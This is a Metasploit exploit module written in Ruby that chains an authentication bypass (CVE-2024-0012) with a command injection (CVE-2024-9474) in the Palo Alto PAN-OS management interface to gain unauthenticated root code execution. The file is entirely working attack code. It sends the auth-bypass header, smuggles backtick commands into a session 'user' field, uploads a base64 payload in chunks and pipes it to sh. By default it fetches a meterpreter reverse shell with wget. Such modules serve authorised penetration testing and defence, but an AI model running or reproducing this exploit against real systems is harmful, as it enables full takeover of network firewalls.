## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can execute arbitrary code with root privileges. The following version are affected: * PAN-OS 11.2 (up to and including 11.2.4-h1) * PAN-OS 11.1 (up to and including 11.1.5-h1) * PAN-OS 11.0 (up to and including 11.0.6-h1) * PAN-OS 10.2 (up to and including 10.2.12-h2) }, 'License' => MSF_LICENSE, 'Author' => [ 'watchTowr', # Technical Analysis 'sfewer-r7' # Metasploit module ], 'References' => [ ['CVE', '2024-0012'], ['CVE', '2024-9474'], # Vendor Advisories ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'], ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'], # Technical Analysis ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/'] ], 'DisclosureDate' => '2024-11-18', 'Platform' => [ 'linux', 'unix' ], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Executes as root on Linux 'Targets' => [ [ 'Default', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'RPORT' => 443, 'SSL' => true, 'FETCH_WRITABLE_DIR' => '/var/tmp' }, 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) end # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to # confirm the target is vulnerable. The check routine will delete this file after it has been read. def check check_file_name = Rex::Text.rand_text_alphanumeric(4) # NOTE: We set dontfail to true, as a check routine cannot fail_with(). return CheckCode::Unknown unless execute_cmd( "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", dontfail: true ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('unauth', check_file_name) ) return CheckCode::Unknown('Connection failed') unless res if res.code == 200 && res.body.include?(check_file_name) return CheckCode::Unknown unless execute_cmd( "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", dontfail: true ) return Exploit::CheckCode::Vulnerable end CheckCode::Safe end # We can only execute a short command upon each invocation of the command injection vulnerability. To execute # a Metasploit payload, we base64 encode our payload, and write it to a file, but we do the file write in small # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. # We then amalgamate all these chunks together into a single file, reconstituting the original base64 encoded # payload, Finally we base64 decode the payload, and pipe it to a shell to execute. To avoid our payload being # executed twice, the payload will delete the single base64 payload file upon the first execution of the payload, # causing any second attempt to execute the payload to fail. def exploit tmp_file_name = Rex::Text.rand_text_alphanumeric(4) cmd = "rm -f #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}*; #{payload.encoded}" payload = Base64.strict_encode64(cmd) idx = 1 chunk_size = 30 max_idx = (payload.length / chunk_size) + 1 while payload && !payload.empty? print_status("Uploading payload chunk #{idx} of #{max_idx}...") chunk = payload[0, chunk_size] payload = payload[chunk_size..] execute_cmd("echo -n '#{chunk}' > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}#{idx}") idx += 1 end print_status('Amalgamating payload chunks...') execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name}") print_status('Executing payload...') execute_cmd("cat #{datastore['FETCH_WRITABLE_DIR']}/#{tmp_file_name} | base64 -d | sh", dontfail: true) end def execute_cmd(cmd, dontfail: false) user = "`#{cmd}`" # There is a 63 character limit for the command injection. if user.length >= 64 fail_with(Failure::BadConfig, 'Command too long for execute_cmd') end vprint_status(user) # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474). res1 = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"), 'headers' => { 'X-PAN-AUTHCHECK' => 'off' }, 'vars_post' => { 'user' => user, 'userRole' => 'superuser', 'remoteHost' => '', 'vsys' => 'vsys1' } ) unless res1&.code == 200 if dontfail return false end fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') end php_session_id = res1.body.to_s.match(/PHPSESSID=([a-z0-9]+)@/) unless php_session_id fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') end # Trigger the command injection (CVE-2024-9474). res2 = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('index.php', '.js.map'), 'headers' => { 'Cookie' => "PHPSESSID=#{php_session_id[1]};" } ) unless res2&.code == 200 if dontfail return false end fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map') end true end end